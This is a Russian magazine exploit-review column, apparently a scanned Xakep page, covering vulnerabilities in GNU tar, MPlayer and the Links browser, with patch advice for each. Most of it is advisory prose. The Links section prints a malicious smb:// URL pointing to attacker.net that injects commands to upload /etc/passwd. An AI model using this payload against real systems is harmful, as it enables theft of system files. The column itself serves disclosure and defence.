взломКрис КасперскиОбзорэксплойтов123412341 2/ 060xàêåð 02 /98/ 07
взломГлавная страница Mplayer'аLinks на моем рабочем столеЗдесь раздают обновленный tarУдаленныйобход директорий в GNU tarBriefTeemu Salmela исследовал утилиту GNU tar,ставшую стандартным архиватором для любогоLinux/xBSD-дистрибутива, и обнаружилв ней дыру. Она похожа на ту, что была удаленаиз MS-DOS-версии pkzip'а много лет томуназад, представляя собой обход директорий(directory traversal) или, говоря другимисловами, возможности создания архива,распаковывающегося не в текущем каталоге,а там, где ему нужно, и затирающего всефайлы, на которые у него только есть права.Даже если распаковка производится из-подпростого пользователя (не root'a), угроза оченьсерьезна, а во всем виноват специальныйтип файлов, определенный в tar'е артибутомGNUTYPE_NAMES, которому соответствуетсимвол «N» в tar-заголовке. Эти файлы могутраспаковываться в любое место файловойсистемы, и, хотя штатными средствами создатьтакой архив нельзя, это легко осуществитьвручную, после чего остается только выложитьего на общедоступный сервер или послатьжертве вместе с утренним мылом. Подробнее— на www.securityfocus.com/bid/21235.TargetsУязвимость подтверждена в следующих версияхtar'а: 1.15.91, 1.16 и 1.15. Про остальныепока ничего неизвестно.ExploitИсходный текст вполне боевого exploit'алежит в архиве neohapsis'а: http://archives.neohapsis.com/archives/fulldisclosure/2006-11/0344.htmlSolutionИз всех составителей дистрибутивов пока одинлишь коллектив FreeBSD выпустил специальныйпатч: http://security.freebsd.org/patches/SA-06:26/gtar.patch. Остальные же предпочлиотделаться молчанием, недвусмысленнопосылающим пользователей на официальнуюстраничку GNU tar'a (www.gnu.org/software/tar)за свежей версией 1.16.1, из которой поддержкаN-записей удалена, что делает распаковкутаких архивов вообще невозможной.Удаленноепереполнение буфера в MPlayer'еBriefMPlayer — легендарный и, в каком-то смысле,культовый аудио/видеоплеер, знаменитый,прежде всего, поддержкой огромного количествавходных и выходных форматов файлов,кодеков, устройств ввода/вывода аудио- и видеоданных.Что самое главное, он поддерживаетих правильно (в частности, только он одинпри кодировании видеофильмов следит за синхрометками).Это открытый проект, распространяющийсяв исходных текстах и портированныйпод весь зоопарк осей: Linux, xBSD, Solaris,IRIX, HP-UX, AIX, Win32, Mac OSX, включая такуюэкзотику, как QNX и Qmiga/MorphOS. Естественно,значительная часть кода MPlayer'апозаимствована разработчиками из стороннихоткрытых проектов, и потому MPlayer зависитот качества и надежности каждого их них,но качественный код — большая редкость,и дыры обнаруживаются то тут то там. В данномслучае виновником торжества оказался модуль,обрабатывающий потоки RealMedia RTSPи расположенный в файлах stream/realrtsp/asmrp.c, stream/realrtsp/asmrp.hи stream/realrtsp/real.c, позаимствованныхиз библиотеки xine-lib. В ней 28 декабря 2006года была обнаружена уязвимость, связаннаяс традиционным отсутствием границ контролябуфера и подробно описанная специалистамииз Debian Security Advisory: www.debian.org/security/2006/dsa-1244.TargetsУязвимость подтверждена в версиях MPlayer1.0rc1 и SVN до r21799 (то есть до 31 декабря13:27:53 2006 UTC). Более древние версии, повидимому,также содержат эту дыру, однако онине проверялись.ExploitОбразец exploit'а может быть найден по следующейссылке: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6172.SolutionРазработчики MPlayer'а исправили код в CVS(древе разработки), однако еще не перекомпилироваливыложенные двоичные файлы, предоставляяпользователям замечательную возможностьлично заняться сексом с компилятором.Удаленноевыполнение SMB-команд в Links'eBriefLinks — это шустрый текстовый браузер(широко известный в узких кругах), изначальнореализованный на Linux'е, успешнопортированный на кучу операционных системвсех мастей (xBSD, HPUX, OS/2, MacOSX,Win32) и породивший множество клонов.В силу своей чрезвычайной конструктивнойпростоты и отсутствия поддержки скриптовс прочими тяжеловесными элементами,долгое время (на пару с другим консольнымбраузером — Lynx) он по праву считалсясамым безопасным «судном» для web-серфинга.Я активно пользовался им сам и дажерекомендовал его другим. Но вот на стыке2006 и 2007 годов усилиями хакера TeemuSalmela в нем обнаружилась огромная дыра,позволяющая атакующему исполнять любыеSMB-команды на машине жертвы, просматривающейзараженную HTML-страничкус помощью Links'a (естественно, SMB-клиентдолжен быть установлен). Ошибка гнездитсяв функции smb_func(), расположеннойв файле smb.c.TargetsУязвимость подтверждена в версиях Links1.00pre12 и ELinks 0.11.1, но и остальныеверсии также уязвимы.ExploitЛинк, эксплуатирующий уязвимость:smb://attacker.net/work/XXX" YYY;lcd ..; lcd ..; lcd ..; lcd etc; putpasswd ; exit;SolutionСамое простое, что можно сделать, — отказатьсяот Links'а в пользу Lynx или же наложитьзаплатку, благо составители популярныхдистрибутивов оперативно посуетились.Однако существует множество неофициальныхбилдов Links'а (и его собратьев),пользователям которых можно посоветоватьзакомментировать 162‐ую строку и перекомпилироватькод. Естественно, выполнениекаких бы то ни было SMB-команд браузеромпосле этого станет невозможным, ну даневелика потеря.xàêåð 02 /98/ 07/061